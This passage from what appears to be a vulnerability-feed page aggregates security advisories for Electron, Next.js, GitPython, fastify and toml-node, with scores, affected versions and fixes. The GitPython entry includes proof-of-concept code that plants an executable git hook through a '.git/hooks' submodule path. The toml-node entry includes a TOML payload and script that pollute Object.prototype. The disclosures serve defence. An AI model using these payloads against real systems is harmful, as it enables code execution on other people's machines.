EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-114124&date=2026-10-25).
Sources:
GitHub-reviewed advisory GHSA-h3v5-h239-pg29: https://github.com/advisories/GHSA-h3v5-h239-pg29
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0OToxMlrOAAf0LQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NzoxN1rOAAf0Kg%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTozNlrOAAf0Jw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTowNVrOAAf0JQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0Mzo0NVrOAAf0Iw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0MzozMVrOAAf0Ig%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozNTowMVrOAAZRcw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozMDoyN1rOAAY_5Q%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODoyOTowNVrOAAfz8g%3D%3D
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-114124&date=2026-10-25
### Impact
In offscreen rendering mode on macOS, frame data received from the GPU process was not fully validated by the main process. A compromised GPU process could cause the main process to read out-of-bounds memory while producing `paint` event images, disclosing memory or crashing the app. GHSA-pfmc-3mgc-p6fp covers the same issue on the other capture paths.

Apps are only affected if they use offscreen rendering (`webPreferences.offscreen`) on macOS and an attacker has separately gained code execution in the GPU process. Apps that do not use offscreen rendering are not affected.

### Workarounds
There are no app side workarounds, you must update to a patched version of Electron.

### Fixed Versions
* `45.0.0-alpha.9`
* `44.4.3`
* `43.7.3`
* `42.11.6`

### For more information
If you have any questions or comments about this advisory, email us at [security@electronjs.org](mailto:security@electronjs.org)

Affected package ranges reported by GitHub:
electron: < 42.11.6
electron: >= 43.0.0-alpha.1, < 43.7.3
electron: >= 44.0.0-alpha.1, < 44.4.3
electron: >= 45.0.0-alpha.1, < 45.0.0-alpha.9
Action: GitHub lists first patched versions: electron: 42.11.6; electron: 43.7.3; electron: 44.4.3; electron: 45.0.0-alpha.9. Confirm the affected range and upgrade guidance in the exact advisory.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Electron: openExternal permission requests can be attributed to the wrong origin
https://kevwire.com/record/CVE-2026-114121
Electron: openExternal permission requests can be attributed to the wrong origin (Oct 22, 2026).
Apps are only affected if they grant `openExternal` based on the requesting origin and let untrusted content open or navigate windows. Apps whose permission handler denies `openExternal` for untrusted content are not affected.
CVSS 5.4 (version 3.1; evidence as of Oct 22, 2026; https://github.com/advisories/GHSA-997q-gvvc-jwmx).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-114121&date=2026-10-25).
Sources:
GitHub-reviewed advisory GHSA-997q-gvvc-jwmx: https://github.com/advisories/GHSA-997q-gvvc-jwmx
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0OToxMlrOAAf0LQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NzoxN1rOAAf0Kg%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTozNlrOAAf0Jw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTowNVrOAAf0JQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0Mzo0NVrOAAf0Iw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0MzozMVrOAAf0Ig%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozNTowMVrOAAZRcw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozMDoyN1rOAAY_5Q%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODoyOTowNVrOAAfz8g%3D%3D
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-114121&date=2026-10-25
### Impact
Requests to open external protocol URLs could be attributed to a document other than the one that asked for them, so the `requestingUrl` passed to `session.setPermissionRequestHandler` was a trusted origin for a launch untrusted content had requested. An origin-based handler could therefore let untrusted content launch an OS-registered external application.

Apps are only affected if they grant `openExternal` based on the requesting origin and let untrusted content open or navigate windows. Apps whose permission handler denies `openExternal` for untrusted content are not affected.

### Workarounds
Deny the `openExternal` permission for untrusted content, or deny the windows it opens with `setWindowOpenHandler`.

### Fixed Versions
* `45.0.0-alpha.5`
* `44.3.0`
* `43.7.0`
* `42.11.3`

### For more information
If you have any questions or comments about this advisory, email us at [security@electronjs.org](mailto:security@electronjs.org)

Affected package ranges reported by GitHub:
electron: < 42.11.3
electron: >= 43.0.0-alpha.1, < 43.7.0
electron: >= 44.0.0-alpha.1, < 44.3.0
electron: >= 45.0.0-alpha.1, < 45.0.0-alpha.5
Action: GitHub lists first patched versions: electron: 42.11.3; electron: 43.7.0; electron: 44.3.0; electron: 45.0.0-alpha.5. Confirm the affected range and upgrade guidance in the exact advisory.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Next.js: Unauthenticated Remote Code Execution in `use cache` functions returning typed arrays
https://kevwire.com/record/GHSA-673q-mjm6-r5xr
Next.js: Unauthenticated Remote Code Execution in `use cache` functions returning typed arrays (Oct 22, 2026).
A vulnerability in applications using App router with Cache Component can lead to remote code execution. The application needs to have a `use cache` function that returns multiple typed arrays.

There is no known workaround for affected applications with such `use cache` functions. You should upgrade immediately even if your application does not have similar functions.
CVSS 9.5 (version 4.0; evidence as of Oct 22, 2026; https://github.com/advisories/GHSA-673q-mjm6-r5xr).
Sources:
GitHub-reviewed advisory GHSA-673q-mjm6-r5xr: https://github.com/advisories/GHSA-673q-mjm6-r5xr
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0OToxMlrOAAf0LQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NzoxN1rOAAf0Kg%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTozNlrOAAf0Jw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTowNVrOAAf0JQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0Mzo0NVrOAAf0Iw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0MzozMVrOAAf0Ig%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozNTowMVrOAAZRcw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozMDoyN1rOAAY_5Q%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODoyOTowNVrOAAfz8g%3D%3D
## Impact

A vulnerability in applications using App router with Cache Component can lead to remote code execution. The application needs to have a `use cache` function that returns multiple typed arrays.

## Workaround

There is no known workaround for affected applications with such `use cache` functions. You should upgrade immediately even if your application does not have similar functions.

Affected package ranges reported by GitHub:
next: >= 16.0.0, <= 16.4.0
Action: GitHub lists first patched versions: next: 16.4.1. Confirm the affected range and upgrade guidance in the exact advisory.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### GitPython validates a submodule's ".git" path only after cloning into it (RCE)
https://kevwire.com/record/CVE-2026-114145
GitPython validates a submodule's ".git" path only after cloning into it (RCE) (Oct 22, 2026).
`create_submodule(name, path, url)` clones a submodule into the repo's own `.git`
directory before it rejects the path. A `path` of ".git/hooks" is accepted by the
pre-clone check, so the submodule is cloned straight into the live hooks directory,
and a file named `post-checkout` in the submodule becomes an executable
`.git/hooks/post-checkout`. On 3.2.0+ the later index check does raise `ValueError`,
but only after the clone already wrote to disk, and it does not remove the planted
hook; on 3.1.x there is no such check and the call succeeds silently. Either way the
hook runs on the next git operation (e.g. checkout), giving code execution.

The checkout path is validated too late, after the clone has already mutated disk.
This breaks the "validate before mutation" invariant that commit 43a43cd8 ("Validate
submodule checkout and metadata paths before mutation") set out to enforce.
CVSS 7.5 (version 3.1; evidence as of Oct 23, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-114145).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-114145&date=2026-10-25).
Sources:
GitHub-reviewed advisory GHSA-83vg-56qc-22m7: https://github.com/advisories/GHSA-83vg-56qc-22m7
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0OToxMlrOAAf0LQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NzoxN1rOAAf0Kg%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTozNlrOAAf0Jw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTowNVrOAAf0JQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0Mzo0NVrOAAf0Iw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0MzozMVrOAAf0Ig%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozNTowMVrOAAZRcw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozMDoyN1rOAAY_5Q%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODoyOTowNVrOAAfz8g%3D%3D
NVD CVE-2026-114145: https://nvd.nist.gov/vuln/detail/CVE-2026-114145
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-114145&date=2026-10-25
### Summary

`create_submodule(name, path, url)` clones a submodule into the repo's own `.git`
directory before it rejects the path. A `path` of ".git/hooks" is accepted by the
pre-clone check, so the submodule is cloned straight into the live hooks directory,
and a file named `post-checkout` in the submodule becomes an executable
`.git/hooks/post-checkout`. On 3.2.0+ the later index check does raise `ValueError`,
but only after the clone already wrote to disk, and it does not remove the planted
hook; on 3.1.x there is no such check and the call succeeds silently. Either way the
hook runs on the next git operation (e.g. checkout), giving code execution.

### Details

The checkout path is validated too late, after the clone has already mutated disk.
This breaks the "validate before mutation" invariant that commit 43a43cd8 ("Validate
submodule checkout and metadata paths before mutation") set out to enforce.

Submodule.add() calls the permissive path check before cloning, and the strict check
only reaches the ".git" alias at index time, after _clone_repo has written to disk:

git/objects/submodule/base.py (Submodule.add)
 599: path = cls._to_relative_path(repo, path) # accepts ".git/hooks"
 673: mrepo = cls._clone_repo(repo, url, path, name, ...) # clones into /.git/hooks
 714: index.add([sm], write=True) # strict check only triggers here

git/index/base.py (IndexFile._preprocess_add_items)
 732: _validate_repo_path(entry.path) # rejects ".git", too late

_to_relative_path only blocks `..`/absolute/out-of-tree paths; `.git` aliases are
rejected only by _validate_repo_path, which was added in 3.2.0 (commit a75aedf3) and
runs at the index boundary. The ValueError it raises at line 732 does not roll back
what _clone_repo already wrote.

Version-dependent behavior:
- 3.2.0 .. tip bda18e08: _validate_repo_path raises ValueError at index.add, but the
 hook is already on disk and is not removed (incorrect order of validation vs. clone).
- 3.1.x (e.g. 3.1.59): _validate_repo_path does not exist and _to_relative_path does
 not reject `.git`; create_submodule(path=".git/hooks", ...) returns with no error at
 all and the hook is planted silently.

### Proof of concept

Setup:
 evilsub/ : a git repo whose ROOT contains an executable file named post-checkout (the payload)
 victim/ : a git repo with at least 1 commit and a second branch, whose .git/hooks has NO
 sample hooks (the state of a minimal/CI checkout, or `git init` with an empty
 template dir, or GIT_TEMPLATE_DIR/init.templateDir empty)

import git, os.path as osp
try:
 git.Repo("victim").create_submodule(name="x", path=".git/hooks", url=osp.abspath("evilsub"))
except ValueError:
 pass # 3.2.0+: ".git" is rejected, but only AFTER the clone, so the plant already happened.
 # 3.1.x: no exception is raised at all; the call succeeds and still plants the hook.

#### victim/.git/hooks/post-checkout now exists, mode 0755, attacker-controlled, on every
#### affected version. Any later checkout runs it:
#### git -C victim checkout -> the hook runs -> code execution

Verified live:
- tip bda18e08 (3.2.0 + 3 commits): create_submodule raised ValueError from
 git/index/base.py:732, yet .git/hooks/post-checkout was present and executable, and
 `git checkout` executed it.
- 3.1.59: create_submodule returned with no error; .git/hooks/post-checkout was planted
 and executed by `git checkout`.

### Impact

Arbitrary code execution. A library/app that creates a submodule from an
attacker-influenced `path` ends up with an attacker-controlled executable in
`.git/hooks`, which git runs on ordinary later operations. This affects any service
that derives a submodule checkout path from untrusted data, e.g. one that ingests a
submodule spec (name/path/url) from a user-supplied manifest or API request and feeds
`path` into create_submodule. On 3.2.0+ the library's own validation is the thing that
fails: it correctly rejects the `.git` path, but only after the submodule has already
been cloned into place, so an app that traps the ValueError reasonably believes the
unsafe path was blocked.

Preconditions (hence AC:H): (1) the app passes an attacker-influenced submodule `path`;
(2) the target hook name is free in `.git/hooks`, true for minimal/CI/container
checkouts and whenever init.templateDir/GIT_TEMPLATE_DIR is empty. With the default
sample hooks present, `git clone` refuses the non-empty destination and no plant occurs.

Affected: all tested versions from 3.1.x (3.1.59) through the current tip bda18e08
(3.2.0 + 3 commits). 3.1.x plants silently; 3.2.0+ plants despite raising ValueError.

Affected package ranges reported by GitHub:
Gitpython: <= 3.2.0
Action: GitHub lists first patched versions: Gitpython: 3.2.1. Confirm the affected range and upgrade guidance in the exact advisory.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### fastify is vulnerable to header validation bypass via case-sensitive propertyNames
https://kevwire.com/record/CVE-2026-107832
fastify is vulnerable to header validation bypass via case-sensitive propertyNames (Oct 22, 2026).
Fastify lowercases header names in a `headers` schema before compilation, because Node.js stores request header names in lowercase. This normalization does not reach the header names held in a `propertyNames` subschema's `enum` and `const`. A header-name deny-list written in the canonical header case, such as `propertyNames: { not: { enum: ['X-Debug-Override'] } }`, therefore never matches the lowercased request headers, and the forbidden header reaches the handler. Any application that uses a `propertyNames` deny-list or allow-list to constrain request header names does not get the constraint it expects. The same rule written in lowercase works, and the `not: { required: [...] }` form is unaffected, so this is a gap in the built-in normalization rather than a wrong schema. This is an incomplete fix of CVE-2026-84428 ([GHSA-9q9j-q6p8-xq58](https://github.com/fastify/fastify/security/advisories/GHSA-9q9j-q6p8-xq58)), whose normalization covered header names used as property keys but not those used as values inside `propertyNames`.

Users should upgrade to fastify `5.12.6` or later, which lowercases header names held in `enum` and `const` inside a `propertyNames` subschema so they match the lowercased request headers. Header-name constraints that cannot be normalized automatically, regular expressions (`propertyNames` `pattern` and `patternProperties` keys) and a `$ref` used inside `propertyNames`, are documented and, for the `$ref` case, warned at startup (`FSTSEC003`). Author those to match the lowercased request headers.
CVSS 3.7 (version 3.1; evidence as of Oct 22, 2026; https://github.com/advisories/GHSA-389g-gv7q-r4x8).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-107832&date=2026-10-25).
Sources:
GitHub-reviewed advisory GHSA-389g-gv7q-r4x8: https://github.com/advisories/GHSA-389g-gv7q-r4x8
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0OToxMlrOAAf0LQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NzoxN1rOAAf0Kg%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTozNlrOAAf0Jw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTowNVrOAAf0JQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0Mzo0NVrOAAf0Iw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0MzozMVrOAAf0Ig%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozNTowMVrOAAZRcw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozMDoyN1rOAAY_5Q%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODoyOTowNVrOAAfz8g%3D%3D
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-107832&date=2026-10-25
### Impact

Fastify lowercases header names in a `headers` schema before compilation, because Node.js stores request header names in lowercase. This normalization does not reach the header names held in a `propertyNames` subschema's `enum` and `const`. A header-name deny-list written in the canonical header case, such as `propertyNames: { not: { enum: ['X-Debug-Override'] } }`, therefore never matches the lowercased request headers, and the forbidden header reaches the handler. Any application that uses a `propertyNames` deny-list or allow-list to constrain request header names does not get the constraint it expects. The same rule written in lowercase works, and the `not: { required: [...] }` form is unaffected, so this is a gap in the built-in normalization rather than a wrong schema. This is an incomplete fix of CVE-2026-84428 ([GHSA-9q9j-q6p8-xq58](https://github.com/fastify/fastify/security/advisories/GHSA-9q9j-q6p8-xq58)), whose normalization covered header names used as property keys but not those used as values inside `propertyNames`.

### Patches

Users should upgrade to fastify `5.12.6` or later, which lowercases header names held in `enum` and `const` inside a `propertyNames` subschema so they match the lowercased request headers. Header-name constraints that cannot be normalized automatically, regular expressions (`propertyNames` `pattern` and `patternProperties` keys) and a `$ref` used inside `propertyNames`, are documented and, for the `$ref` case, warned at startup (`FSTSEC003`). Author those to match the lowercased request headers.

### Workarounds

Write the `propertyNames` header-name constraint in lowercase (for example `enum: ['x-debug-override']`), or enforce the header check in an `onRequest` or `preValidation` hook instead of the schema.

Affected package ranges reported by GitHub:
fastify: >= 5.12.2, < 5.12.6
Action: GitHub lists first patched versions: fastify: 5.12.6. Confirm the affected range and upgrade guidance in the exact advisory.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### toml-node: Prototype pollution: parsing a TOML document can write to Object.prototype
https://kevwire.com/record/CVE-2026-114142
toml-node: Prototype pollution: parsing a TOML document can write to Object.prototype (Oct 22, 2026).
A four-line TOML document parsed with toml.parse() writes a property onto Object.prototype, where it is visible to every object in the process — including objects produced by unrelated libraries.

**1. The path-key encoding is ambiguous.** `quoteDottedString()` quotes a segment only when it contains a `.`, and never escapes a `"` inside the segment:
CVSS 8.8 (version 4.0; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-114142).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-114142&date=2026-10-25).
Sources:
GitHub-reviewed advisory GHSA-h895-cgqg-jf52: https://github.com/advisories/GHSA-h895-cgqg-jf52
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0OToxMlrOAAf0LQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NzoxN1rOAAf0Kg%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTozNlrOAAf0Jw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTowNVrOAAf0JQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0Mzo0NVrOAAf0Iw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0MzozMVrOAAf0Ig%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozNTowMVrOAAZRcw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozMDoyN1rOAAY_5Q%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODoyOTowNVrOAAfz8g%3D%3D
NVD CVE-2026-114142: https://nvd.nist.gov/vuln/detail/CVE-2026-114142
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-114142&date=2026-10-25
### Summary
CVE-2026-63376 described prototype pollution through __proto__ key-path desynchronization and was fixed in 4.1.2 by rewriting the path bookkeeping and adding an ownedContainers WeakSet. The desynchronization is still reachable, spelled with a quote character instead of a dot, and the owned-container check is not applied on the path that matters.

A four-line TOML document parsed with toml.parse() writes a property onto Object.prototype, where it is visible to every object in the process — including objects produced by unrelated libraries.

### Details
Three gaps compose. All line numbers are `lib/compiler.js` in 5.0.0.

**1. The path-key encoding is ambiguous.** `quoteDottedString()` quotes a segment only when it contains a `.`, and never escapes a `"` inside the segment:

```js
287: function quoteDottedString(str) {
288: if (str.indexOf(".") > -1) {
289: return "\"" + str + "\"";
290: } else {
291: return str;
292: }
293: }
```

So the key path `['x.y']` and the key path `['"x', 'y"']` both render as the string `"x.y"`. This is the same desynchronization CVE-2026-63376 named, with a quote in place of the dot.

**2. A table-array header can clear another key's guard.** `addTableArray()` walks `assignedPaths` / `valueAssignments` with `isSameOrSubPath()` over those ambiguous strings, so a header whose rendered path collides with an unrelated key deletes that key's entry.

**3. The descent in `assign()` has no owned-container check.** `deepRef()` applies `isOwnedContainer()` only to intermediate segments (`lib/compiler.js:265`, `:273`) and returns the final container unchecked. `assign()` then walks it with only a shape test:

```js
 93: target = target[k];
...
103: target[lastKey] = reduced;
```

A TOML datetime is a `Date`. It satisfies `typeof target[k] === "object"` and is not an array, so the walk descends into it — and a `Date` has a live prototype chain to `Object.prototype`.

Putting the three together, a document can make the current table a `Date` and then walk `__proto__.__proto__` to `Object.prototype`.

```bash
mkdir poc && cd poc && npm init -y >/dev/null && npm install toml@5.0.0
```

```toml
# poc.toml
"b.c" = 1979-05-27T07:32:00Z
[['"b']]
["b.c"]
__proto__.__proto__.polluted = "yes"
```

Line 1 defines a key whose rendered path is `"b.c"` and whose value is a `Date`.
Line 2 is a table-array header whose rendered path collides with it, clearing its guard.
Line 3 re-enters that key, so the current table is now the `Date`.
Line 4 walks `Date` → `Date.prototype` → `Object.prototype`.

```js
// poc.js
const toml = require('toml');
const fs = require('fs');

console.log('before:', JSON.stringify(({}).polluted));
toml.parse(fs.readFileSync('poc.toml', 'utf8'));
console.log('after: ', JSON.stringify(({}).polluted));
console.log('Object.prototype.hasOwnProperty("polluted") =', Object.prototype.hasOwnProperty('polluted'));
console.log('JSON.parse("{}").polluted =', JSON.stringify(JSON.parse('{}').polluted));
```

```
$ node poc.js
before: undefined
after: "yes"
Object.prototype.hasOwnProperty("polluted") = true
JSON.parse("{}").polluted = "yes"
```

The payload sets a single harmless marker property. The last line shows the property is visible on an object this code never touched.

A useful control: the same document without line 2 (the guard-clearing header) is correctly rejected on 4.1.2 and later, which confirms the clearing step is what is load-bearing.

### Impact

Any application that parses a TOML document from an untrusted source is affected — a configuration file uploaded by a user, a manifest from a third-party package or repository, a document posted to an API. Prototype pollution of this kind commonly escalates to authentication or authorization bypass, denial of service, and in applications with a suitable gadget, remote code execution, because every object in the process inherits the injected property.

Suggested fix: in `assign()`, apply the same check the intermediate descent already uses — after `target = target[k]`, reject when `!isOwnedContainer(target)`. Equivalently, apply `isOwnedContainer` to the value `deepRef()` returns. Separately, `quoteDottedString()` should escape `"` inside a segment so that distinct key paths cannot render to the same string.

Affected package ranges reported by GitHub:
tome: <= 5.0.0
Action: GitHub lists first patched versions: tome: 5.0.1. Confirm the affected range and upgrade guidance in the exact advisory.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### toml-node: Quadratic-complexity DoS via many array-of-tables headers in toml.parse()
https://kevwire.com/record/CVE-2026-114141
toml-node: Quadratic-complexity DoS via many array-of-tables headers in toml.parse() (Oct 22, 2026).
`toml.parse()` is vulnerable to a quadratic-complexity (O(n²)) denial-of-service via many
array-of-tables (`[[name]]`) headers. `addTableArray()` in `lib/compiler.js` rescans two
entire bookkeeping Sets on every `[[name]]` header without pruning unrelated or distinct
entries, so a document containing n such headers costs O(n²) compiler work. A ~321KB document
